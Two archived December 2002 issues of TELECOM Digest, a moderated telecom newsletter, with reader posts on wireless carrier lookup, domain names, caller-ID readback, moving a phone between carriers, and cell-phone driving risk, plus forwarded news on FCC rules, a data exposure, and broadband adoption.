(dflores@wanadoo.nl) Re: California Firm to Settle Net Porn Scam (Larry & Wanda Finch) Re: Study: Car Call Value Equals Crash Cost (Larry & Wanda Finch) Samsung n300 (frankiec@octothorp.org) Re: Is Share Day Message Spam (Robert Dover) Re: Is Share Day Message Spam (Paul A Lee) Re: Is Share Day Message Spam (Gail M. Hall) Re: Is Share Day Message Spam (jt) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: Robert Woolley Subject: Re: Carrier Lookup Date: Wed, 04 Dec 2002 19:32:11 +0000 On 3 Dec 2002 14:39:46 -0800, johnswein@yahoo.com (John Swein) wrote: > Is there any way to find the name of a wireless carrier given a phone > number? In the US? In the UK? > Thanks! The UK has full number portabiliy. It is possible to find out which carrier the number was allocated to originally, but if it's been ported you can't find out. Rob. rob at robertwoolley dot co dot uk ------------------------------ From: tonypo1@cox.net Subject: Re: Carrier Lookup Organization: The Ace Tomatoe and Cement Company Date: Wed, 04 Dec 2002 22:25:07 GMT In article , johnswein@yahoo.com says: > Is there any way to find the name of a wireless carrier given a phone > number? In the US? In the UK? > Thanks! Indeed there is - you can download a copy of NANPA's utilized database for your area or for the nation and it'll tell you who the carrier is. Tony ------------------------------ From: Joseph Subject: Re: Carrier Lookup Date: Wed, 04 Dec 2002 14:38:55 -0800 Organization: Posted via Supernews, http://www.supernews.com Reply-To: joeofseattle@yahoo.com On 3 Dec 2002 14:39:46 -0800, johnswein@yahoo.com (John Swein) wrote: > Is there any way to find the name of a wireless carrier given a phone > number? In the US? In the UK? In the US: http://www.nanpa.com Replies are seldom read. Please reply in the group ------------------------------ Subject: Re: What *is* a ""Domain Name""? From: JDS Organization: Prodigy Internet http://www.prodigy.com Date: Thu, 05 Dec 2002 02:43:41 GMT Is this a homework question? > What is a ""domain name""? Are a domain name and a URL equivalent? > In some URL like > http://www.xxx.yyy.org/more.stuff/still.more2.stuff2 The domain name is yyy.org. The whole thing is a URL. www.xxx are generally called ""subdomains."" Only ""yyy.org"" is registered. As part of the registration, Domain Name Servers are associated with the domain, and those Domain Name Servers store and serve the IP addresses for all the servers in the domain - mail, web, ftp, etc servers. > Is a domain name a domain name only if it's registered? unregisteredname987.com is a well-formed domain name which is not registered. But it's of theoretical interest only. No one can use a domain name for anything until it is registered and DNS is set up. > Can intranets have ""effective internal domain names"" that are > not ""real Internet-wide domain names""? Yes. This technique is frequently used for subdomains. It would not be wise for a domain name, as it might lead to collisions or other failures. > Must you register a domain name to get it into domain name > servers all around the internet? Yes. > Is any remaining stuff within successive slashes more properly referred > to as a ""page"", within a ""web site"" or ""domain""? A better term is ""path."" It is generally the filepath on the Web server. > Do all domain names start with ""www""? No - for example, my.yahoo.com. ftp and telnet hosts are generally prefixed ""ftp"" and ""telnet"". > Do they all have to end with a final "".xxx"" that comes from a certain > fixed list of terms, e.g. "".org"", "".com"", or ""dot some country code""? Yes. .biz, .name, and others were recently added. Suffixes are a matter of some controversy. > How far into this whole mess do intellectual property rights -- > trademarks, copyrights -- extend? Do trademark and copyright concerns > extend with equal force to an entire URL? Or only the domain name part > of a URL? This is an area that is rapidly evolving. The Anti-Cybersquatting Consumer Protection Act tried to resolve some issues in this. Read it. But there are many areas which are not yet - and probably never will be - cleared up completely. Outside of cyberspace, organizations can share a mark - Delta Air Lines, Delta Tool, and Delta Woodworking Machinery can coexist, for example. But there is exactly one delta.com. > And I suppose what I might have asked first of all: Are there some good > URLs -- or domains! -- where one can get understandable info on queries > like these? Probably. You could also take a course in this -- some of the best thought in this domain is going on at Stanford. ------------------------------ Date: Wed, 04 Dec 2002 16:11:10 -0500 From: No Spam Subject: Number Read Back Service John Higdon wrote: (stuff snipped) > Telco number readbacks became so unreliable and mutable that I finally > set up my own several years ago for my own private use. It has two > versions: one using an ordinary directory number to read back CID and > one (using an 800 number) that reads back ANI. Very handy. I'm sure John knows the difference, but one should be careful with carrier provided ANI vs. Calling Party Number. My employer has a service from a large carrier who shall remain nameless, and they insist that we are currently receiving ANI on our toll-free number (direct dedicated T1 with ANI and DNIS digits, NOT ani as cpn via POTS/CLASS), when in fact I have confirmed that they are transmitting CPN/CallerID as ANI instead of true ANI. For most people, interested in single POTS lines, this isn't a big deal, but from a large user perspective, can make a big difference. And John Higdon also wrote: > Telco readback numbers typically only serve a comparatively small area. > The advantage of having my own is that they work from any phone, > anywhere. to which And Harbor Diver responded: ""Including blocked numbers?"" Yes ... when using a toll-free number the 'owner' of the toll-free number (the recipient of the call) is paying for the call, therefore they have the right to know 'who' is calling them. JG Fenton My email address is valid. My opinions are my own, and not necessarily that of my employer. ------------------------------ Date: Thu, 5 Dec 2002 02:55:33 +0100 (GMT+01:00) From: dflores@wanadoo.nl Subject: Vivokit Demo Campaign in mySql Database Visit this site http://www.vivokit.com ------------------------------ From: Larry & Wanda Finch Subject: Re: California Firm to Settle Net Porn Scam Date: Thu, 05 Dec 2002 02:07:21 GMT So Integratel's still at it! I got them fined several thousand dollars over ten years ago with a complaint to the FCC, and that was only for redirecting long distance service from a pay phone. Larry Monty Solomon wrote: > California Firm to Settle Net Porn Scam > By REUTERS > WASHINGTON (Reuters) - A California billing firm has agreed to give up > $1.6 million to settle charges that it improperly billed thousands for > Internet pornography, the Federal Trade Commission said on Tuesday. > Privately held billing firm Integretel Inc. and its subsidiary eBillit > prompted thousands of complaints in September 2000 after they placed > charges of up to $4,000 on consumers' home telephone bills without > their knowledge. > Consumers incurred the charges after visiting a Web site run by U.K. > firm Verity International Ltd. that offered pornographic movies, the > FTC said. > Visitors were instructed to download special software which unplugged > their Internet connection and routed it through the African island > nation of Madagascar at a rate of $3.99 per minute. Notification of > the charge was buried in a series of 11 screens, said FTC attorney > Lawrence Hodapp. > Integretel placed charges averaging $127 each on consumers' > long-distance phone bills, even if the person on the phone bill was > not the one who downloaded the movies. > http://www.nytimes.com/reuters/technology/tech-tech-fraud.html Larry Finch N 40 53' 47"" W 74 03' 56"" ------------------------------ From: Larry & Wanda Finch Subject: Re: Study: Car Call Value Equals Crash Cost Date: Thu, 05 Dec 2002 02:10:37 GMT Monty Solomon wrote: > - Dec 2, 2002 12:20 AM (AP Online) > WASHINGTON (AP) _ Researchers say increased cell phone use has led to > more crashes caused by drivers on the phone, but the value people > place on being able to call from the road roughly equals the > accidents' cost. > Opponents of banning cell phone usage by drivers have cited studies > that showed the benefit of car calls outweighed the toll from such > accidents _ medical bills and property damage, for example. > Harvard researchers, drawing on previous research involving cell > phones and government figures for auto accidents, says in a study > there is a growing public health risk from the reliance on cell phones > in cars. The number of cell phone subscribers has grown from 94 > million in 2000 to more than 128 million. > - http://finance.lycos.com/home/news/story.asp?story=30334110 If cell phones truly cause accidents, you would expect the accident rate to have soared over the past few years. Yet it hasn't. Perhaps it's certain drivers who cause accidents, and if they didn't have cell phones they would cause the accidents for a different reason. Larry Finch N 40 53' 47"" W 74 03' 56"" ------------------------------ From: frankiec@octothorp.org Subject: Samsung n300 Date: Wed, 4 Dec 2002 14:54:55 -0500 I am trying to convert my Samsung n300 cdma phone from Sprint PCS to Verizon wireless. I have a helpful person looking in to converting this phone over at Verizon but Sprint isn't being helpful. I found one guy at Sprint that told me it should be an easy switch and then I got nowhere. I believe that my phone is unlocked. My contract was up with Sprint and the one helpful guy that I spoke with at Sprint told me that it should be unlocked, and that it was a matter of changing the prl. I would like to know where I can read up on this to become educated so that when I talk to these people I can know what I am talking about. For some more background ... I went in to the Vzw store and handed them my n300. This guy popped it in the firmware updater and tried to get it to flash to the firmware that they use for their n300s. He handed it back to me and told me that he needed the programing codes for it. So I called Sprint from the n300. As soon as the call went through Sprint wanted to update my firmware which they did while I waited on hold. This I thought was pretty interesting seeing as how I hadn't had it updated in a while and I had just dialed them from my handset last week. I then spoke with a Sprint customer service person who gave me this BS about how my handset was a PCS handset and that it wouldn't work on someone else's network. I left the store with out accomplishing anything. The n300 proceeded to work that day and in to the next morning. The next day I power cycled the phone and it came up not configured. It no longer knew it's phone number. Every call I tried to make the Sprint recording told me that my phone was not yet configured and I needed to call Sprint to have them configure it. Thanks for any help in advance. Frank ------------------------------ From: Robert Dover Subject: Re: Is Share Day Message Spam Date: Wed, 4 Dec 2002 09:44:57 -0600 Organization: Nortel Name Blocked by Moderator wrote: > Would you please stop spamming your own newsgroup! > [TELECOM Digest Editor's Note: ... I would like to entertain a > discussion here... If your monthly post IS spam, I can handle it in return for the services received. ------------------------------ From: Paul A Lee Subject: Re: Is Share Day Message Spam Date: Tue, 3 Dec 2002 18:46:01 -0500 An anonymous correspondent wrote (in part): > Would you please stop spamming your own newsgroup! I submit that the complainant does not understand the concept of ""spam"". Spam is advertising or solicitation that is excruciatingly redundant, promotes something that is of questionable or no value, and/or seeks to present its message to its recipient despite explicit or implicit rejection or avoidance of that message by the recipient. Our moderator's entreaty for consideration given in return for value received does not reasonably fit any of those categories. It is no more ""redundant"" than any of the other housekeeping messages and information, in that it is only repeated -- rather infrequently -- to those who repeatedly use the Digest. Those who repeatedly use the Digest must surely find it useful and valuable. Those who don't find it useful and valuable can avoid the ""spam"" by not availing themselves of the Digest. I have to wonder whether the complainant can tell the difference between a TV commercial and a telemarketing call -- as well as make other distinctions involving, say, anatomical features and excavations ... The ""personal opinion"" disclaimer _certainly_ applies to this missive. In fact, let's keep the company out of it. Paul A Lee Sr Telecom Engineer Camp Hill, PA 17011 ------------------------------ From: Gail M. Hall Subject: Re: Is Share Day Message Spam Date: Wed, 04 Dec 2002 01:19:02 -0500 Reply-To: gmhall@apk.net The poster wrote: > Would you please stop spamming your own newsgroup! OK, so some kind of gliltch happened and the post on the last day of November and the first day of December got double posted, at least on my server. > [TELECOM Digest Editor's Note: That's the first time I have ever > received a message quite like that. The message was signed; the > person did not say to make it anonymous, but as I think about it > now, maybe it is the consensus of many of you, so think that one > of YOUR friends wrote it. In a make-believe world, I wish it was > not necessary to 'spam my own newsgroup'. In the same make-believe > world it would not be required for PBS Radio/TV to give commercials > about themselves. I do not loan out my now considerable mailing list > or allow people to copy from it. (Should I start?) I do not accept > other than *very low key* advertising on the web site (no banner ads, > no double-click pop up windows; no diagnosing what causes your > personal pleasure to happen and focusing advertising messages at you > accordingly. (Should I start?) No wholesale spamming in any newsgroup > or e-journal under my control. (Should I start?) At the same time, I > like to eat dinner at night, and have a warm house to live in. There > is not enough time in a day, nor energy, to put out this Digest and > maintain the web site AND work 8-10 hours per day at a 'regular' > job. (Should I quit the Digest and work instead?) All the above are > characteristics of this make-believe world. I think it is reasonable for Pat to post the ""begging"" messages once or twice a month, or maybe even weekly (but I hope that's not necessary. BUT getting the message two days in a row is a bit much. How about doing it on the 1st and 15th of every month? That way the messages would be spread around more evenly and ""occasional lurkers"" might have a greater chance to see the messages. As for PBS, my problem with them is that they are getting WORSE than commercial channels! You can pretty much count on a series of commercials to be finished in two or three minutes, but those PBS betting messages go on for at least a half hour. Then they play the real program for maybe a half hour or 45 minutes. Then they do another half hour of begging. I have gotten to where I don't even tune in to PBS during ""membership"" week. I just renew my membership when the due date comes around because I like much of their programs (like Ken Burns productions, NOVA, etc. > I thought (still think) a reasonable compromise is to take one or two > days per month and run a single message in each of them discussing > these things. The last day of the month and/or the first day of the > next month is a good, reliable, steady time to do this. I'd rather see them spread out and posted on the 1st and 15th OR the 15th and last day of the month to spread out the message a little more. It will seem less like spam. I don't agree that this is spam at all. But even ""good"" advertising can get to be irritating if there is too much of it. I am convinced that you didn't intend to double post both of those messages. It happened, though, and maybe that is why this person got upset. Some list moderators put a ""list signature"" at the end of every message. Pat doesn't do that, at least not on the usenet version that I read. It wouldn't be unreasonable to put such a tag at the ends of at least some messages to remind people of the URLs and address for sending contributions. Another idea, Pat. How about doing what the advertisers do and have some entertainment in your messages? I don't know what it would be. This is a text group, so you can't show graphics of telephones flying through space and blowing each other up or speeding through mountains and through rivers and coming back out without a single spot on the phone surfaces. How about the Verizon Wireless ads where the guy is going all through the mountains and deserts and saying, ""Can you hear me now? .... Good!"" [Hey! Just kidding about the entertainment part] Gail in Ohio USA ------------------------------ From: jt Subject: Re: Is Share Day Message Spam Date: Wed, 4 Dec 2002 14:44:18 -0500 Organization: WorldCom Canada Ltd. News Reader Service ""Name Blocked by Moderator"" wrote in message news:telecom22.164.12@telecom-digest.org: Pat, take an expression from ""soviet canuckstan"" and tell him to piss up a rope. [TELECOM Digest Editor's Note: The group of messages here is the total of what has been recieved to-date. We will see if there are any more arrive in the next day or two. PAT] ------------------------------ TELECOM Digest is an electronic journal devoted mostly but not exclusively to telecommunications topics. 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All opinions expressed herein are deemed to be those of the author. Any organizations listed are for identification purposes only and messages should not be considered any official expression by the organization. End of TELECOM Digest V22 #166 ****************************** >From editor@telecom-digest.org Fri Dec 6 14:07:08 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gB6J78q28778; Fri, 6 Dec 2002 14:07:08 -0500 (EST) Date: Fri, 6 Dec 2002 14:07:08 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212061907.gB6J78q28778@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #167 TELECOM Digest Fri, 6 Dec 2002 14:07:00 EST Volume 22 : Issue 167 Inside This Issue: Editor: Patrick A. Townson Telephone Speech Study at Upenn (David Miller) Ten TLD's (Joey Lindstrom) Re: Number Read Back Service (Stanley Cline) Re: Is There a Dial Helper For When We Travel? (Jim Van Nuland) Re: Court to Decide Kazaa's U.S. Liability (Trance1500) Re: Samsung n300 (Justin Time) Re: Study: Car Call Value Equals Crash Cost (dold@47.usenet.us.com) Re: Study: Car Call Value Equals Crash Cost (Phil Earnhardt) Re: Carrier Lookup (dold@85.usenet.us.com) Re: Carrier Lookup (Linc Madison) Re: Cross Connect Bay Solution in Telcos? (PStreicher) FCC Ready to Roll Back Limits on Media Consolidation (Monty Solomon) FCC Deadline Looms For Digital TV (Monty Solomon) Tower Records Site Exposes Data (Monty Solomon) Tech Titans Launch Wi-Fi Company (Monty Solomon) Price Is Limiting Demand for Broadband (Monty Solomon) Digital Robber Barons? (Monty Solomon) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. 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See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- From: damiller@ldc.upenn.edu (David Miller) Subject: Telephone Speech Study at Upenn Date: 5 Dec 2002 14:06:04 -0800 Organization: http://groups.google.com/ Greetings, The Linguistic Data Consortium at the University of Pennsylvania (www.ldc.upenn.edu) needs participants for FISHER, a new telephone speech study to be conducted in the Early Winter 2002-2003. In contrast to prior regional studies (Switchboard), FISHER will be national (North America). The FISHER project will be undertaken to support linguistic research, technology development and education. All calls will be recorded for these purposes. Particpant Identities will be kept strictly confidential and not released with the data. FISHER participants will take part in 1 to 3 telephone calls talking to other participants on suggested topics for ten minutes. FISHER topics can be found at the URL below: http://www.ldc.upenn.edu/Projects/EARS/Fisher/topics.html A robot operator will initiate all calls. Particpants need only answer their phones at the time they specify during the registration process. Participants will be compensated $10 per call. In addition, for each call made, participants will be eligble for 1 chance at (3) $1000.00 lottery prizes. To register for this study please see the following page: http://www.ldc.upenn.edu/Projects/EARS/Fisher/intro.html or call 1 800 380 PENN, to register and for more information Sincerely, Dr. David Miller FISHER Project Manager ------------------------------ Date: Thu, 05 Dec 2002 14:12:51 -0700 From: Joey Lindstrom Subject: Ten TLD's Reply-To: joey@garynuman.info On Wed, 4 Dec 2002 22:08:47 -0500 (EST), Robert Bonomi wrote: > All _publicly_recognized_ domain names are part of a hierarchical > system consisting of a LIMITED SET of 'top level domains'. There are, > currently, 9 TLDs recognized, above and beyond the two-letter > 'national', or 'country code' domains.' Nine now, ten very soon. For your viewing pleasure, they are: .com (for ""commercial"" sites) .net (for network infrastucture sites, now used by anyone) .org (for mostly non-profit organizations, now used by anyone) .aero (http://www.nic.aero) .info (http://www.nic.info) .biz (http://www.nic.biz) .museum (http://www.nic.museum) .name (http://www.nic.name) .coop (http://www.nic.coop) And ... coming soon: .pro (http://www.nic.pro) Note to John Higdon: better start updating your spam-filter, there's a whole new TLD a-comin' ... :-) Joey Lindstrom joey@garynuman.info ------------------------------ From: Stanley Cline Subject: Re: Number Read Back Service Date: Tue, 03 Dec 2002 09:19:25 -0500 Organization: Roamer1 Communications - Dunwoody, GA, USA Reply-To: sc1-news@roamer1.org On Mon, 02 Dec 2002 22:37:01 GMT, tonypo1@cox.net wrote: > Similar to Ureach, my USADatanet 800 service delivers realtime ANI as > CNID when someone calls me via that service. Quite convenient but then ...as does Kall 8. :) Stanley Cline -- sc1 at roamer1 dot org -- http://www.roamer1.org/ ""Never put off until tomorrow what you can do today. There might be a law against it by that time."" -/usr/games/fortune ------------------------------ From: Jim Van Nuland Subject: Re: Is There a Dial Helper For When We Travel? Date: Fri, 6 Dec 2002 03:50:40 +0000 (UTC) Organization: Silicon Valley Public Access Link Gail M. Hall wrote: > Well, to use a calling card like this, we have to dial the toll-free > number printed on the card (in very small print), then enter a PIN I copied the tiny print onto another card, using nice BIG numbers. Jim Van Nuland, San Jose (California) Astronomical Association ------------------------------ From: Trance1500@hotmail.com (Trance1500) Subject: Re: Court to Decide Kazaa's U.S. liability Date: 5 Dec 2002 22:14:36 -0800 Organization: http://groups.google.com/ Monty Solomon wrote in message news:: > By John Borland > Staff Writer, CNET News.com > November 24, 2002, 6:00 AM PT > If a judge says Sharman can be sued in the United States, Kazaa will > get sucked into the same legal maelstrom that has grabbed Napster, > Aimster, Audio Galaxy, Grokster and Morpheus, closing some of the > popular services and threatening the existence of the others. The > Kazaa case is the biggest yet in the recent copyright wars that have > been testing the international reach of U.S. courts. > http://news.com.com/2100-1023-971086.html It's all about the money, my friend. Money is the only the that the ""artists"" care about. They don't give a care about the fans, but they sure care about their own wallets. They don't even care about the music the produce and are only concerned with who will pay how much for it. ------------------------------ From: a_user2000@yahoo.com (Justin Time) Subject: Re: Samsung n300 Date: 6 Dec 2002 06:59:06 -0800 Organization: http://groups.google.com/ frankiec@octothorp.org wrote in message news:: > I am trying to convert my Samsung n300 cdma phone from Sprint PCS to > Verizon wireless. I have a helpful person looking in to converting this > phone over at Verizon but Sprint isn't being helpful. I found one guy at > Sprint that told me it should be an easy switch and then I got nowhere. > I believe that my phone is unlocked. My contract was up with Sprint and > the one helpful guy that I spoke with at Sprint told me that it should be > unlocked, and that it was a matter of changing the prl. > I would like to know where I can read up on this to become educated so > that when I talk to these people I can know what I am talking about. > For some more background ... I went in to the Vzw store and handed them my > n300. This guy popped it in the firmware updater and tried to get it to > flash to the firmware that they use for their n300s. He handed it back to > me and told me that he needed the programing codes for it. So I called > Sprint from the n300. As soon as the call went through Sprint wanted to > update my firmware which they did while I waited on hold. This I thought > was pretty interesting seeing as how I hadn't had it updated in a while > and I had just dialed them from my handset last week. I then spoke with a > Sprint customer service person who gave me this BS about how my handset > was a PCS handset and that it wouldn't work on someone else's network. I > left the store with out accomplishing anything. The n300 proceeded to > work that day and in to the next morning. The next day I power cycled the > phone and it came up not configured. It no longer knew it's phone number. > Every call I tried to make the Sprint recording told me that my phone was > not yet configured and I needed to call Sprint to have them configure it. > Thanks for any help in advance. > Frank Unlocking the phone (removing the carrier/network information) is only a part of the problem in the North American Cellular Network. Another piece of the puzzle in moving phones from one compatible network to another is the ESN or electronic serial number of the phone. Most carriers buy their phones in bulk from the manufacturers and as such get blocks of ESNs assigned to them. The ESN not only provides a unique serial number id for the phone, it also identifies the manufacturer and model. Carriers enter the serial number ranges from ""their"" phones into the computers controlling the network for the purpose of fraud prevention. In order to register a ""foreign"" phone on the network, the databases for the entire network have to be modified to include your phone's ESN which is outside the range of their phones. So, the ESN has to be in the system, and the carrier information must also match. If the ESN is not in the system, the carrier information is checked for a roaming agreement, and if not present the phone call is blocked. That is a very simplified explination of how a carrier handles calls from cellular instruments. But as far as your question about getting your phone moved from Sprint to Verizon, it is possible, but with a lot of cooperation from both carriers. Sprint has to provide the programming codes to ""unlock"" their codes and Verizon has to be willing to add your phone's ESN to their fraud protection systems. For the most part, it is a matter of pushing some buttons, both on the phone and a computer - but the maintenance of ""foreign"" ESNs is an ongoing expense VZW may not want to undertake. Moving to a GSM phone using a SIM (Subscriber Information Module) card doesn't really make it any easier. In this instance you have to unlock the carrier codes and then get a SIM from the new carrier. It is the codes required to lock and unlock the phone that are the problem. Most of the codes to program a phone are easily researched and located on the Internet, lock and unlock codes may require a new PROM chip as some phone chips cannot be altered after they have been burned in at the factory. As the phone works and is not stolen, selling it on E-Bay or something similar may be the only way to recoup some of the cost of buying a new phone from VZW. Rodgers Platt ------------------------------ From: dold@47.usenet.us.com Subject: Re: Study: Car Call Value Equals Crash Cost Date: Thu, 5 Dec 2002 05:35:25 UTC Organization: a2i network Larry & Wanda Finch wrote: > If cell phones truly cause accidents, you would expect the accident > rate to have soared over the past few years. Yet it hasn't. Perhaps > it's certain drivers who cause accidents, and if they didn't have cell > phones they would cause the accidents for a different reason. The portion of the study that I heard quoted indicated that 26,000 people died last year as a result of an accident while someone was on a cell phone. But if morons are the ones that can't drive and talk at the same time, is it merely conjecture that 25,000 of those accidents would have occurred anyway? AM radios were banned while driving in the early part of the last century. Clarence A Dold - dold@email.rahul.net - Hidden Valley (Lake County) CA. [TELECOM Digest Editor's Note: And television sets are still banned from use in automobiles, at least in the front seat. PAT] ------------------------------ From: Phil Earnhardt Subject: Re: Study: Car Call Value Equals Crash Cost Date: Wed, 04 Dec 2002 22:34:32 -0700 On Thu, 05 Dec 2002 02:10:37 GMT, Larry & Wanda Finch wrote: > If cell phones truly cause accidents, you would expect the accident > rate to have soared over the past few years. If nothing else material had been altered in the safety of automobiles, that would be a valid assertion. However, several statistically significant changes have happened in the last ten years: o Compliance with seat belt laws is significantly higher. I believe the numbers have gone from 39% in the early 1990s to approximately 75% today. o Driver-side air bags have gone from an optional luxury to mandatory. Many vehicles now also have passenger bags and side bags. o While not in all vehicles, anti-lock braking systems is now available as an option in most lines. o Consumers have been paying attention to government vehicle safety reports and are selecting vehicles that get good grades in these crash simulations. This has in turn caused manufacturers to design their vehicles so they will score well in those tests. When in a collision, modern vehicles will, on average, protect you better than older designs. o States are creating more stringent standards for DUI. The feds are mandating a .08 level for DUI; states that keep a more lax standard may risk getting federal highway dollars. o Programs like the ""#DUI"" where cell phone callers can rapidly alert cops to drunk drivers help remove these folk from the road more quickly. I do appreciate the irony of this point. > Yet it hasn't. Perhaps it's certain drivers who cause accidents, and > if they didn't have cell phones they would cause the accidents for a > different reason. We don't know what statistical methodology went into the Harvard study. One fondly hopes they found a way to create a valid correlation between the use of cell phones in an automobile and the less safe behavior. What I would like to see is the delta in the numbers between regular cell phone users and hands free cell phone users. Antecdotally, I do not mind hands free users (I suspect I don't even notice many of them). If hands free usage is found to be significantly safer than handheld usage, I would like to see hands free use mandated. > Larry Finch > N 40 53' 47"" > W 74 03' 56"" Phil [About a minute north of the 40th parallel.] ------------------------------ From: dold@85.usenet.us.com Subject: Re: Carrier Lookup Date: Thu, 5 Dec 2002 05:38:32 UTC Organization: a2i network John Swein wrote: > Is there any way to find the name of a wireless carrier given a phone > number? In the US? In the UK? In the US, cellular numbers aren't portable, so the assigned carrier is almost certainly the current carrier. http://www.nanpa.com/nanp1/AllCodes.zip ALLCODES.MDB if you have Access, or some program that can read Access.mdb files. http://www.nanpa.com/number_resource_info/co_code_assignments.html for flat ASCII files by state, I think. CA 707 953 AS 6010 AT&T WIRELESS SERVICES, INC. SANTA ROSA CNCRCADOCM3 Clarence A Dold - dold@email.rahul.net - Hidden Valley (Lake County) CA. ------------------------------ From: Linc Madison Subject: Re: Carrier Lookup Date: Thu, 05 Dec 2002 02:24:54 -0800 Organization: LincMad.com Consulting Reply-To: Telecom@LincMad.com On 3 Dec 2002, johnswein@yahoo.com (John Swein) wrote: > Is there any way to find the name of a wireless carrier given a phone > number? In the US? In the UK? In the US, we don't *YET* have number portability for wireless, but it is supposed to be on the horizon in the near future. In the meantime, the full URL for listings of prefix assignments on the NANPA site is with your choice of tab-delimited text, Excel, or Access format. Of course, you have to download at least a multi-state region and then sift through all the NXX's (not just wireless) to find the one you're interested in. Also, you have to contend with wireless assignments of less than a full NXX. For example, 361-645-1xxx, -2xxx, -3xxx, and -8xxx are landlines, but -4xxx are wireless. However, most wireless assignments are still by full prefixes. Once full number portability comes to wireless carriers, there will be no easy way to find out the carrier for a given number, just as there is no easy way to tell now with landlines. For example, 415-552-xxxx started out life as a Pacific Bell line, but now it could be any CLEC serving San Francisco. Pacific Bell is still a better bet than all other players combined, but far from a sure thing. Stickier yet, there is talk of full portability between wireless and landline carriers. Thus, you won't even be able to tell much of anything about a given phone number. That will also provide a problem for cold-calling telemarketers, since every call to a wireless phone is subject to $500 in civil damages under 47 USC 227. As for the UK, a previous response indicated that they already have full portability of wireless numbers, leaving no easy way to tell the carrier. For obvious reasons (separate area code ranges), the UK does not and will not have portability between wireless and landline carriers. www dot LincMad dot com / Telecom at LincMad dot com Linc Madison * San Francisco, California ------------------------------ From: pstreicher@aol.com (PStreicher) Date: 05 Dec 2002 14:10:19 GMT Organization: AOL http://www.aol.com Subject: Re: Cross Connect Bay Solution in Telcos? How is a Titan 5500 going to solve the ccb jumper mess? Can you expand on your solution? Thanks. ------------------------------ Date: Thu, 5 Dec 2002 18:31:03 -0500 From: Monty Solomon Subject: FCC Ready to Roll Back Limits on Media Consolidation FAIR-L Fairness & Accuracy In Reporting Media analysis, critiques and activism ACTION ALERT: FCC Ready to Roll Back Limits on Media Consolidation December 5, 2002 A range of media scholars and public interest, media and community groups from across the country have joined FAIR in issuing a Call for Media Democracy in response to the FCC's current ""review"" of the rules that govern big media. FAIR encourages everyone concerned with this issue to act now. Some suggestions of how you can take action to strengthen media diversity are included below. http://www.fair.org/activism/fcc-call-action.html ------------------------------ Date: Thu, 5 Dec 2002 18:49:39 -0500 From: Monty Solomon Subject: FCC Deadline Looms For Digital TV By Jim Hu Staff Writer, CNET News.com December 5, 2002, 1:41 PM PT Friday will mark the final day for public comment on a Federal Communications Commission proposal that requires digital TV sets to implement anti-piracy technology. If the FCC approves the proposal, TV manufacturers will be required to install technologies to prevent illicit distribution of digital broadcasts. Digital broadcast signals would be encoded with a ""broadcast flag"" indicating that TV shows may not be broadcast freely. The proposed rule has stirred up heated debate between technology companies and the entertainment industry. Many consumer-electronics and PC manufacturers oppose the regulation, claiming it would limit consumers' use of recorded content. But entertainment companies, which have pushed hardest for the requirement, say it would help fight piracy and unwarranted distribution of their content on the Internet. http://news.com.com/2100-1023-976273.html ------------------------------ Date: Thu, 5 Dec 2002 18:40:00 -0500 From: Monty Solomon Subject: Tower Records Site Exposes Data By Declan McCullagh Staff Writer, CNET News.com December 5, 2002, 1:17 PM PT A security hole on Tower Records' Web site exposed data on millions of U.S. and U.K. customers until it was closed late Wednesday. The glitch allowed anyone to peruse Tower Records' Web site to view its database of customer orders dating from 1996 through this week, including home and e-mail addresses, phone numbers and what music or video products were purchased. More than 3 million such records were exposed. http://news.com.com/2100-1017-976271.html ------------------------------ Date: Thu, 5 Dec 2002 19:04:15 -0500 From: Monty Solomon Subject: Tech Titans Launch Wi-Fi Company By Richard Shim Staff Writer, CNET News.com December 5, 2002, 12:37 PM PT Intel, IBM and AT&T have officially thrown their combined weight behind the effort to create a nationwide network of public ""hot spots"" that would give people wireless broadband Internet access from just about anywhere. As expected, Intel Capital, along with Big Blue, AT&T and investors Apax Partners and 3i, announced the creation of Cometa Networks -- formerly known as Project Rainbow -- a new company focused on deploying hot spots throughout the United States. Hot spots are public areas where people can access the Internet using products based on 802.11b, or Wi-Fi, a wireless networking standard with a range of about 300 feet from a network's access points, or radio transmitters. http://news.com.com/2100-1033-976225.html ------------------------------ Date: Thu, 5 Dec 2002 21:39:24 -0500 From: Monty Solomon Subject: Price Is Limiting Demand for Broadband By SIMON ROMERO Remember all the talk about the broadband revolution? It is turning out to be a slow evolution, at best. Only about 15 percent of American households currently subscribe to broadband service - or fast Internet access - despite the fact that 70 percent of households have the technical option of doing so. And analysts do not expect the majority of homes to have broadband access anytime for at least five years. That means any company, whether America Online or any other Internet business, cannot expect to base a mass-market business on broadband anytime soon. http://www.nytimes.com/2002/12/05/technology/05BROA.html ------------------------------ Date: Fri, 6 Dec 2002 09:27:56 -0500 From: Monty Solomon Subject: Digital Robber Barons? By PAUL KRUGMAN Bad metaphors make bad policy. Everyone talks about the ""information highway."" But in economic terms the telecommunications network resembles not a highway but the railroad industry of the robber-baron era -- that is, before it faced effective competition from trucking. And railroads eventually faced tough regulation, for good reason: they had a lot of market power, and often abused it. Yet the people making choices today about the future of the Internet -- above all Michael Powell, chairman of the Federal Communications Commission -- seem unaware of this history. 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End of TELECOM Digest V22 #167 ****************************** >From editor@telecom-digest.org Sat Dec 7 01:35:23 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gB76ZNH09972; Sat, 7 Dec 2002 01:35:23 -0500 (EST) Date: Sat, 7 Dec 2002 01:35:23 -0500 (EST) From: editor@telecom-digest.org Message-Id: 